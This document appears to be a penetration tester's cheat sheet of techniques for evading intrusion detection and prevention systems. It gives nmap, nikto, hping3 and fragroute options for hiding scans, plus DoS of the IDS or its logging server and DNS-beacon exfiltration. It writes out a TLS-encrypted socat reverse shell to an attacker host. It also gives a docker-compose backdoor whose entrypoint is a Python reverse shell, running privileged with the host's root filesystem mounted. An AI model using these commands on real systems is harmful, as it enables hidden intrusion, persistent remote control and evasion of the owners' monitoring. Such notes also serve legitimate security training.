3.2 KiB
3.2 KiB
IDS & IPS Evation
- Evation by manipulation of
- Tool parameters
- Protocol
- Payload
- Route
- Or DoS
Enumeration
nmap
--script-args http.useragent="<user-agent>"-Sshalf open
nikto
-useragent <user-agent>- Tuning
-T 1 2 3 - NOT
-evasion <encoding-technique>, it increases detection
Protocol Manipulation
Relying on another protocol
nc -ulvnp 4711for listening to incoming UDP trafficnc -u $TARGET_IP $TARGET_PORTfor connecting through UDP
Manipulation of the source's or LHOST's network port
nmap -g 80ornmap --source-port 53to send outgoing nmap traffic through it
Session splicing by fragmentation and segmentation
nmapfragmentation in 8 bytes-f, 16 bytes-ff,--mtu <size>for MTU- Use Fragroute with
ip_frag <num>infragroute.conf, then usefragroute -f fragroute.conf $TARGET_IP
Sending invalid packets
- Invalid protocol header flags and checksums via
nmap --badsum,nmap --scanflags URG/ACK/PSH/RST/SYN/FIN, e.g. concatentation of multiple flagsnmap --scanflags SYNRSTFIN hping3including--ttl,--badsum, header flags-S,-A,-P,-U,-F,-R
Payload Manipulation
Obfuscation and Encoding
- Base64
- URL
- Escaped Unicode Characters
Encrypting Communication Channels
- Use socat with encryption
openssl req -x509 -newkey rsa:2048 -days 356 -subj '/CN=www.example.com/O=YO/C=FR' -nodes -keyout id_rsa.key -out reverse.crt
- Create
.pem(Privacy Enhanced Mail) file via
cat id_rsa.key reverse.crt > reverse.pem
- Listening on attacker side
socat -d -d OPENSSL-LISTEN:4711,cert=reverse.pem,verify=0,fork STDOUT
- On target
socat OPENSSL:$ATTACKER_IP:4711,verify=0 EXEC:/bin/bash
Modification of Data
- Order of parameters, instead of
nc -lvnpit isnc -vpnl - Adding whitespaces to the commands
- Use aliases
Route Manipulation
Relying on Source Routing
nmap --ip-options "L 10.10.20.30 10.10.30.40routes through these IPs looselynmap --ip-options "S 10.10.20.30 10.10.30.40"routes through the IPs strictly
Using Proxyy Servers
nmap -sS http://$PROXY1:80,socks4://$PROXY:8080 $TARGET_IP
Tactical DoS
- Non malicious, benign traffic against
- IDS/IPS
- Logging server
MISC
- Changing
User-Agent- Request frequency and duration of sleep
- SSL/TLS certs
- DNS beacon, storing exfiltrated data in the query
Backdoors
- Backdooring without getting recognized by the IDS/IPS by reading its rules in the config file
Docker
- Create a
docker-compose.yamlfile with a reverse shell as an entry point, mount the host volume to/mntinside the container
---
version: "2.1"
services:
backdoorservice:
restart: always
image: <Found image>
entrypoint: >
python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("<$ATTACKER_IP>",4711));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);
pty.spawn("/bin/sh")'
volumes:
- /:/mnt
privileged: true